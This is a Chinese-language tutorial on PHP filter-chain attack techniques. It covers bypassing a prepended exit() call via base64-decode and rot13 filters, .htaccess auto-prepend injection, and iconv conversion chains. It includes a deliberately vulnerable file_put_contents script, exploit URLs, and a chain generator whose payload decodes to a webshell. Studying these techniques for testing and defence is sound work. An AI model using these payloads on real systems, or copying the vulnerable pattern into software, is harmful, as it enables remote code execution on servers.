浅学Filterchain
字数 1333 2025-08-18 17:33:32
PHP Filter Chain 攻击技术深度解析
0x00 前言
Filter Chain(过滤器链)是PHP中一种强大的文件处理机制,通过组合不同的过滤器可以实现各种数据转换操作。本文将系统性地介绍Filter Chain在安全攻防中的应用,包括死亡杂糅绕过、iconv转换利用等技术要点。
0x01 前置知识
Base64编码与解码
Base64编码字符表:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
编码过程:
- 将输入数据按3字节一组分割
- 每组拆分为4个6位单元
- 每个6位单元映射到Base64字符表
- 不足3字节时用
=补齐
示例:
$data = "Delete";
echo base64_encode($data); // 输出: RGVsZXRl
$data = "Delet";
echo base64_encode($data); // 输出: RGVsZXQ=
解码特性:
- 以4个字符为一组进行解码
- 仅对有效字符进行处理
=作为填充字符出现在末尾
0x02 死亡杂糅绕过技术
第一种情况:文件名和内容参数可控
攻击场景:
file_put_contents($filename, "<?php exit();".$content);
Base64绕过方法
Payload构造:
$filename = 'php://filter/convert.base64-decode/resource=delete.php';
$content = 'aPD9waHAgcGhwaW5mbygpOw==';
原理:
- 添加前缀字符
a使有效负载长度对齐(4的倍数) - Base64解码会忽略
<?php exit();中的非Base64字符 - 解码后保留我们注入的有效负载
测试代码:
<?php
$filename = $_GET['filename'];
$content = $_GET['content'];
file_put_contents($filename, "<?php exit();".$content);
?>
利用URL:
http://127.0.0.1/2.php?filename=php://filter/convert.base64-decode/resource=delete.php&content=aPD9waHAgcGhwaW5mbygpOw==
rot13绕过方法
Payload构造:
$filename = 'php://filter/string.rot13/resource=delete.php';
$content = '<?cuc cucvasb();?>';
原理:
- rot13将
<?php exit();转换为不可执行形式 - 我们的payload
<?php phpinfo();?>转换为<?cuc cucvasb();?> - 注意短标签可能导致解析问题
第二种情况:共用变量
攻击场景:
file_put_contents($content, "<?php exit();".$content);
.htaccess预包含方法
Payload:
$content = 'php://filter/write=string.strip_tags/?> php_value%20auto_prepend_file%20G:\s1mple.php%0a%23/resource=.htaccess';
原理:
- 使用
string.strip_tags过滤器去除PHP标签 - 写入.htaccess文件设置自动包含
%0a%23是换行符和注释符,确保后续内容不影响
Base64直接使用的问题
尝试直接使用Base64时遇到问题:
php://filter/write=convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php
问题分析:
- PHP的Base64解码在严格模式下会将
=视为结束符 - 相关PHP源码显示
strict参数控制此行为
解决方案:
- 使用过滤器嵌套:
php://filter/write=string.strip_tags|convert.base64-decode/resource=?PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
- 另类Base64方法:
php://filter/<?|string.strip_tags|convert.base64-decode/resource=?PD9waHAgcGhwaW5mbygpOz8%2B/../delete.php
第三种情况:尾部追加内容
攻击场景:
file_put_contents($filename, $content."\nxxxxxx");
解决方法:
- 使用注释符
//或#注释掉追加内容 - 写入.htaccess文件进行预包含
0x03 iconv转换技术
iconv过滤器可用于字符集转换,结合Base64可实现复杂绕过。
典型利用代码
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
// 更多转换规则...
);
$filters = "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
foreach(str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c]."|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
var_dump(file_get_contents($final_payload));
?>
原理:
- 通过多次Base64编码解码和字符集转换
- 利用Base64的宽松解码特性
- 最终构造出可执行的PHP代码
工具推荐:
- PHP_INCLUDE_TO_SHELL_CHAR_DICT - 用于fuzz有效转换组合
0x04 php://temp和php://memory协议
特性:
- 都是类似文件包装器的数据流
- php://memory始终使用内存
- php://temp在超过限制(默认2MB)后使用临时文件
- 可设置内存限制:
php://temp/maxmemory:NN
示例:
$fiveMBs = 5 * 1024 * 1024;
$fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');
fputs($fp, "hello\n");
rewind($fp);
echo stream_get_contents($fp);
注意:
- 这些流是一次性的,关闭后无法再次读取之前的内容
- file_put_contents后直接读取会得到空内容